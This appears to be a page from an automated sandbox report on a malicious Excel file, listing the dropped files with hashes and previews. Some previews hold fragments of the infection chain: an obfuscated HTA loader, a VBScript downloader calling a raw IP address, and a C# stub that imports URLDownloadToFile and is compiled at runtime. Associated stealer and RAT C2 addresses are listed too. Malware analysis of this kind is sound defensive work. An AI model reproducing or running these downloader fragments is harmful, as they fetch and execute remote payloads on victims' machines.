	UHUH45EDRFQ.exe	Get hash	malicious	Remcos	Browse	94.156.69.93
	0GrL5SShus.exe	Get hash	malicious	XWorm	Browse	94.156.68.110
	9444f34a94d494a78e19e19f4e1615744e500aca97a56.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	94.156.68.153

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	15189
Entropy (8bit):	5.0343247648743
Encrypted:	false
SSDEEP:	384:nWraVoGIpN6KQkj2Lkjh4iUxTnaVjvCnS/OdBmRWDf:nW+V3IpNBQkj2Oh4iUxDaVjvCnS/OdBD
MD5:	7BC3FB6565E144A52C5F44408D5D80DF
SHA1:	C3C443BF9F29EAA84B0A580FD5469F4C5CC57F77
SHA-256:	EF6A75C051D70322EDCD5A89E6398CC00E3D860E87A0C7981310D30837CBA495
SHA-512:	D0A936BAF2277884518EDF4729F88DA74C7BAA5BBB58C1060CE66DE92A23694EA993CA69D8820816C5D28182E9A38EE59DE821EE3A73F0D85DBBC74D406285A5
Malicious:	false
Reputation:	low
Preview:	PSMODULECACHE.....8.......S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script..........V.7...?...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ISE\ISE.psd1........Import-IseSnippet........Get-IseSnippet........New-IseSnippet.........._.7...[...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\PSWorkflowUtility\

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\EvengIEcache[1].hta

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	HTML document, ASCII text, with very long lines (65498), with CRLF line terminators
Category:	modified
Size (bytes):	105733
Entropy (8bit):	2.4409419026425443
Encrypted:	false
SSDEEP:	768:tZ6A3yXNA0AGALUuNWkzHtW3fppgdIgPflkzJQiXAZO:tv6
MD5:	E6ED0C0A3FDD48EC9978D9FCD7F1CB6B
SHA1:	8FBFA7D4840705CF9A42EDDB1B1C9A2E75A9F94F
SHA-256:	E9CACC56F61CDAC779CE36C26E2EAEA814230C36CBB0EB9AD7516DA8CDEEB74D
SHA-512:	ED3A1EA65B6F1EA5171BCBA3CADA176CE4375BA2B0A0D2EB08916C086F83D8E5EEC842BD17771F74911259B4A208C226CD899AA242F76B55E42AC12FEEB8D422
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Obshtml, Description: Yara detected obfuscated html page, Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\EvengIEcache[1].hta, Author: Joe Security
Preview:	<Script Language='Javascript'>.. ..document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%4A%61%76%61%53%63%72%69%70%74%3E%6D%3D%27%25%33%43%25%32%31%44%4F%43%54%59%50%45%25%32%30%68%74%6D%6C%25%33%45%25%30%41%25%33%43%6D%65%74%61%25%32%30%68%74%74%70%2D%65%71%75%69%76%25%33%44%25%32%32%58%2D%55%41%2D%43%6F%6D%70%61%74%69%62%6C%65%25%32%32%25%32%30%63%6F%6E%74%65%6E%74%25%33%44%25%32%32%49%45%25%33%44%45%6D%75%6C%61%74%65%49%45%38%25%32%32%25%32%30%25%33%45%25%30%41%25%33%43%68%74%6D%6C%25%33%45%25%30%41%25%33%43%62%6F%64%79%25%33%45%25%30%41%25%33%43%73%63%72%69%70%54%25%32%30%74%79%50%65%25%33%44%25%32%32%74%45%58%74%2F%76%42%73%43%72%69%70%74%25%32%32%25%33%45%25%30%41%44%49%6D%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\eveningfiledatinglover[1].vbs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	3496
Entropy (8bit):	3.7329279321322377
Encrypted:	false
SSDEEP:	96:d/tbU3I/tK/tGU/tz/toU3o/tUq0qbqV1U3Iqx/tZ:d1IY1K1f1z1LY1Z5GVylx1Z
MD5:	C8620389239F57F69E0A272F8A713231
SHA1:	A2C026675520C308785673FB0DF0DEFEB545071C
SHA-256:	0A807D8F8F5764C4B282F67C9F2F73788077BDB36CB40D28109D72DEADFEAF06
SHA-512:	4CF71A2FA395F75D888F8D33C5C722956ADEF72E7FDA38CA783106540BC42B312107C3F0B2177912F7437E590F567B656F773B7945502BBDEE3E8353B15EF312
Malicious:	false
Preview:	..D.i.m. .c.z.x.R.O.u.L.h.K.U.c.G.a.e.c.e.o.e.m.K.B.N.q.e.k.p.L.Q.B.W.O.p.A.m.i.i.Z.a.p.C.i.s.b.K.Q.m.L.L.L.W.n.u.l.W.p.z.a.G.k.f.i.b.n.G.C.I.W.p.L.T.d.K.m.G.z.h.P.u.e.A.q.l.S.K.c.J.I.A.p.K.x.n.c.e.k.J.P.O.U.u.,. .P.A.m.K.P.t.v.h.e.R.o.W.m.d.S.f.f.c.k.l.i.O.m.O.k.A.h.f.W.N.e.s.o.O.A.z.W.c.o.m.Z.n.b.L.c.n.p.a.f.i.K.L.L.G.N.W.U.G.A.a.p.T.G.R.d.i.K.G.o.p.G.O.N.s.K.Z.A.f.j.c.W.n.L.S.R.C.a.P.i.K.h.e.Q.I.e.c.A.x.z.f.....S.e.t. .c.z.x.R.O.u.L.h.K.U.c.G.a.e.c.e.o.e.m.K.B.N.q.e.k.p.L.Q.B.W.O.p.A.m.i.i.Z.a.p.C.i.s.b.K.Q.m.L.L.L.W.n.u.l.W.p.z.a.G.k.f.i.b.n.G.C.I.W.p.L.T.d.K.m.G.z.h.P.u.e.A.q.l.S.K.c.J.I.A.p.K.x.n.c.e.k.J.P.O.U.u. .=. .C.r.e.a.t.e.O.b.j.e.c.t.(.".M.S.X.M.L.2...S.e.r.v.e.r.X.M.L.H.T.T.P.".).....c.z.x.R.O.u.L.h.K.U.c.G.a.e.c.e.o.e.m.K.B.N.q.e.k.p.L.Q.B.W.O.p.A.m.i.i.Z.a.p.C.i.s.b.K.Q.m.L.L.L.W.n.u.l.W.p.z.a.G.k.f.i.b.n.G.C.I.W.p.L.T.d.K.m.G.z.h.P.u.e.A.q.l.S.K.c.J.I.A.p.K.x.n.c.e.k.J.P.O.U.u...O.p.e.n. .".G.E.T.".,. .".h.t.t.p.:././.9.4...1.5.6...6.5...2.4.7./.U.s.e.r.s._.A.P.I./.n.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\48B4810C.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	50128
Entropy (8bit):	3.13941905677619
Encrypted:	false
SSDEEP:	768:4tHbsyguSUifiMcUzARRwn8KEVhyQBzKVO15DQclSBxkrSsAQYWS:yKDAMjARdKGhy0fyBy6
MD5:	A4D3F37D25C314D8BD34E11152527E97
SHA1:	6DF7C881FE8102F196CAE0D5AF9C00CC26583B02
SHA-256:	E0B38B2C8079038B0C98440A0A5945CBB86A41B72154D83EE25F8D362020F9BF
SHA-512:	6E95CA122B9718F0E80D5B666A294A066479365D910F3E450B535ABCEA7F55204122D1CB346DFDF69037FA9CA6EC821A1C05A5F13A162A74D509343F9006D1B2
Malicious:	false
Preview:	.................N...-..........g...Ca.. EMF................M...l........'..}3.......................K...A..I.n.k.s.c.a.p.e. .0...9.2...2. .(.5.c.3.e.8.0.d.,. .2.0.1.7.-.0.8.-.0.6.)...d.1.2.8.0.2.2.b.9.4.c.b.b.c.6.0.6.e.e.1.3.5.0.4.5.e.b.2.7.1.0.2...e.m.f.....................$...$......?...........?............F...,... ...Screen=10205x13181px, 216x279mm.F...4...&...Drawing=1609.4x937.4px, 425.8x248.0mm...............................................................'.......................%...........%...........;................... ...6............#..6..............6............-..6...........?-..6............-..6..............6.......!....#..6.......!... ...6.......!...L...6...........U...6.........../...6...............6.........../...6...........U...6...........L...=.......<.......>.......................%...........(...........'.......................%...........%...........;...............z(......6.......u(......6.......o(......6.......n(..I...6.......n(..q...6.......p(......6...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D2E31577.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	13328680
Entropy (8bit):	1.5643268842466118
Encrypted:	false
SSDEEP:	768:q63AJhP7YgsXW9s7Z+3Zv6j6M1cv+BINGkIsIdDcFXXlG5xK0SN7u:q7o3+3ZviTcvoDkXlG5XSQ
MD5:	1C8A27A855C0DD3D630001F079C71047
SHA1:	F17C4626E74E3EB5395A9E26C79198D7A3B77DCA
SHA-256:	53A48F455EBB72C9EA2149A762BB86E580D30710ED4AFBEEFBDB8C1F751023EA
SHA-512:	C7CECD5AFDC67B47E1C977861136C17E45CCFCB19849983D90C5C9E79F8B80C4EEA883C7C2639363433D89A97D6C92858B8E5D8811AFD661142BF1887B3935D8
Malicious:	false
Preview:	....l...........P...............A_...... EMF....(a..........................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...............................................Q......."...........!...............................................Q......."...........!...............................................Q......."...........!...............................................Q......."...........!...............................................Q......."...........!...............................................Q.......'.......................%...........................................................&...........................%...........................6.......P.......%...........L...d...........O...............P.......!...

C:\Users\user\AppData\Local\Temp\1vaomz5u.ft1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\RESC2C3.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Wed Jul 3 16:03:32 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	3.9850056326180887
Encrypted:	false
SSDEEP:	24:H7e9E2U3lQK4dHCwKdNWI+ycuZhNDpakSaePNnqSqd:v3lQKw5Kd41ulDpa3aCqSK
MD5:	94C96E2747C52551EF2BF0727B1E232E
SHA1:	F621291C4D6B1FC2976219B8EB5AD590A24377FC
SHA-256:	3F44794251CDDFADFC1E55DAC3D0B796F5BD185D7C12BD1802DF6B01D4CEA94E
SHA-512:	3E01EA1BFE89DD0C39913A5D3DA028508111BAFC77BA736AFF63F7E38D9B23A765D410C406D434C6DF782F14A9EA22CB7B07C8270E458CAFECEBD8356CF4BF9F
Malicious:	false
Preview:	L...Tv.f.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........T....c:\Users\user\AppData\Local\Temp\cboglgly\CSC66221087E6254F6E92E0F9138CFEC2C1.TMP...............(.;q.8..R.-?............4.......C:\Users\user\AppData\Local\Temp\RESC2C3.tmp.-.<....................a..Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...c.b.o.g.l.g.l.y...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

C:\Users\user\AppData\Local\Temp\cboglgly\CSC66221087E6254F6E92E0F9138CFEC2C1.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0757554631855686
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryJpak7YnqqaePN5Dlq5J:+RI+ycuZhNDpakSaePNnqX
MD5:	280C3B719938E3E652FD2D3FDAB9DE96
SHA1:	E0271AA8ADB600F078E9EAC7EDA8C70C6786C3F5
SHA-256:	C598D3A84862B69433B4236F10575775FBB43BE36BE796B278FDC5A95EA177EC
SHA-512:	A3A1D6869B8919D1FB9987E063DA99151BFED30BC7E8EF1A3EF7D252242ACA914D9A7597DF4776EA36AF000073A2B98E34664A11D522D96216A47E9AC3999FE3
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...c.b.o.g.l.g.l.y...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...c.b.o.g.l.g.l.y...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (333)
Category:	dropped
Size (bytes):	452
Entropy (8bit):	3.904626507398481
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zuEwlkxMm7J/QXReKJ8SRHy4HVykKmaaRhj/OQy:V/DTLDfuZnXfHZdhqQy
MD5:	945B8020556329B43BB4499CCB741C84
SHA1:	B2B61706BA6CF8B3A0511A3537E18592AFDA3ED1
SHA-256:	E8234CAB7F250679262F845E87C64B27F7B1B4C69168AECCDBB132C36A09EA7E
SHA-512:	F639C75341CD01C4048FD11AAD531D3C968511113FBBEF87BB77303DC508C5D84B3FD097FADB016A5C1F1150C9750628D2CE1944F0AC1149A2C3321CBF02D369
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace SznU.{. public class vSpIMrRvIzU. {. [DllImport("UrlMON.Dll", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr pimFCSaX,string F,string cHXhTKsrpH,uint YKQ,IntPtr GF);.. }..}.

C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.191095799113595
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2P23fGMdHy4Gzxs7+AEszIP23fGMdHy4b:p37Lvkmb6KzX7GWZEoX7b
MD5:	6E62E6D34A9AFDD13DA5041A6D926D8E
SHA1:	14A25CE77C6DE59697CB12D3552AB9F011511DF3
SHA-256:	5D047D76B232F2B72954D321A934CD5105925C5F23234467861B5C1BDAE48C11
SHA-512:	B5C9FF6CE7FE26BE00E9A1BA9B812E40CDFA25EBDABE2A91A0A4CC1B20B2AA03C4230E4D5F32FCE685CD332F74D777AF5E3D198C4362F25652F50718D138EB22
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.0.cs"

C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.81246736116654
Encrypted:	false
SSDEEP:	24:etGS5PBG5eM7p88MNck347hML0itkZfbb/qhkWI+ycuZhNDpakSaePNnq:6ysM+1X4iL0lJn/EH1ulDpa3aCq
MD5:	9ED72217E6BD3767BDD83618AC8E18AD
SHA1:	99DF57D3A70B70E0914C527A1E153816D8A65066
SHA-256:	37EC58FE9E05D0B5EF65B959FBA3F71FE397EC884474706EE6F1D038007AD7F2
SHA-512:	C81D46D07947F4DFE0562F99C852719418EBE8A5DE92C1898791BED96EC62A8802BC1A7918A9FBAF15CBA63165AC70E1DA3400FE194E5A1245C68BEE1630E741
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Tv.f...........!.................#... ...@....... ....................................@.................................X#..S....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................8.1.....t.....t...........................#.............. ?.....P ......Q.........W.....`.....b.....m.....q...Q.....Q...!.Q.....Q.......!............?.......................................(..........<Module>.cb

C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (445), with CRLF, CR line terminators
Category:	modified
Size (bytes):	866
Entropy (8bit):	5.31809813940785
Encrypted:	false
SSDEEP:	24:AId3ka6KzXbEoXGKaMD5DqBVKVrdFAMBJTH:Akka60XbEoXGKdDcVKdBJj
MD5:	5AF8062D37D50A3C61ACCC661ACEC45D
SHA1:	9ABF04BD99001FA345BCD1C99D359B4D187866EA
SHA-256:	CDD7C81A7DEDA790714945589309CB3ADA9230889BAC4B70C6EC21311DA99F1B
SHA-512:	B6DCF33926F1DB80C562D90130CB422C6BF1401633292C4D9FC24EC7A815511C2C9710149307A24F8669775C418E2541D417C718379205A5E3D4256A486CCBC4
Malicious:	false
Preview:	.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.3761.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\n1no2lop.boj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\pibo52rt.udq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\z52cpx5v.dul.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\~DF9497146B9A365AE9.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	30208
Entropy (8bit):	7.295421921064184
Encrypted:	false
SSDEEP:	768:gqTAUBP+dudGXy6dMR90KVIKivZttEce:gqTAgWdudGXHKR9VPIgce
MD5:	69089DE8DEC2B3E805A4150ADDF5F6A3
SHA1:	F69D25E8822F8AC447CC02E559A512E7CE5EF3E7
SHA-256:	F3045ECA240449AB56F863C88D9ED8C4432C983627DC14244BAC7BC717D367AE
SHA-512:	D8F64717164AE441E918BA52D6E5508FC3F27D505F8EC77D5FCAC407E9AE84840C42E3633FCE655708AFB890878AEFA1C4F3D29B3A9CCA6B937C87517253C307
Malicious:	false
Preview:	......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9.......................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFD2A101440BB1BACA.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFE45887675C4B6D5D.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	5.324210931163022
Encrypted:	false
SSDEEP:	768:8qTAUBP+dudGXy6dMR90KVIKivZttEce:8qTAgWdudGXHKR9VPIgce
MD5:	8551A36C4FFA8047811A665A6D807682
SHA1:	2D070518FC41135178C3CA38B17F593ECF98830E
SHA-256:	EE6844F155F622BD715A5255318B143A9AEEA84CCB37073A9C2BEAD64D3B3BB3
SHA-512:	888A87B8170DE9F0957BA3DD28BB74A9D1E40E55DDA8F90D44A6905E46854FF419D01594068C258893780183F8D9D9077A5E2E6126CF13492E2CB773F6F1DA37
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\eveningfiledatinglover.vBS

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	3496
Entropy (8bit):	3.7329279321322377
Encrypted:	false
SSDEEP:	96:d/tbU3I/tK/tGU/tz/toU3o/tUq0qbqV1U3Iqx/tZ:d1IY1K1f1z1LY1Z5GVylx1Z
MD5:	C8620389239F57F69E0A272F8A713231
SHA1:	A2C026675520C308785673FB0DF0DEFEB545071C
SHA-256:	0A807D8F8F5764C4B282F67C9F2F73788077BDB36CB40D28109D72DEADFEAF06
SHA-512:	4CF71A2FA395F75D888F8D33C5C722956ADEF72E7FDA38CA783106540BC42B312107C3F0B2177912F7437E590F567B656F773B7945502BBDEE3E8353B15EF312
Malicious:	true
Preview:	..D.i.m. .c.z.x.R.O.u.L.h.K.U.c.G.a.e.c.e.o.e.m.K.B.N.q.e.k.p.L.Q.B.W.O.p.A.m.i.i.Z.a.p.C.i.s.b.K.Q.m.L.L.L.W.n.u.l.W.p.z.a.G.k.f.i.b.n.G.C.I.W.p.L.T.d.K.m.G.z.h.P.u.e.A.q.l.S.K.c.J.I.A.p.K.x.n.c.e.k.J.P.O.U.u.,. .P.A.m.K.P.t.v.h.e.R.o.W.m.d.S.f.f.c.k.l.i.O.m.O.k.A.h.f.W.N.e.s.o.O.A.z.W.c.o.m.Z.n.b.L.c.n.p.a.f.i.K.L.L.G.N.W.U.G.A.a.p.T.G.R.d.i.K.G.o.p.G.O.N.s.K.Z.A.f.j.c.W.n.L.S.R.C.a.P.i.K.h.e.Q.I.e.c.A.x.z.f.....S.e.t. .c.z.x.R.O.u.L.h.K.U.c.G.a.e.c.e.o.e.m.K.B.N.q.e.k.p.L.Q.B.W.O.p.A.m.i.i.Z.a.p.C.i.s.b.K.Q.m.L.L.L.W.n.u.l.W.p.z.a.G.k.f.i.b.n.G.C.I.W.p.L.T.d.K.m.G.z.h.P.u.e.A.q.l.S.K.c.J.I.A.p.K.x.n.c.e.k.J.P.O.U.u. .=. .C.r.e.a.t.e.O.b.j.e.c.t.(.".M.S.X.M.L.2...S.e.r.v.e.r.X.M.L.H.T.T.P.".).....c.z.x.R.O.u.L.h.K.U.c.G.a.e.c.e.o.e.m.K.B.N.q.e.k.p.L.Q.B.W.O.p.A.m.i.i.Z.a.p.C.i.s.b.K.Q.m.L.L.L.W.n.u.l.W.p.z.a.G.k.f.i.b.n.G.C.I.W.p.L.T.d.K.m.G.z.h.P.u.e.A.q.l.S.K.c.J.I.A.p.K.x.n.c.e.k.J.P.O.U.u...O.p.e.n. .".G.E.T.".,. .".h.t.t.p.:././.9.4...1.5.6...6.5...2.4.7./.U.s.e.r.s._.A.P.I./.n.

C:\Users\user\Desktop\46930000

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Wed Jul 3 17:03:51 2024, Security: 1
Category:	dropped
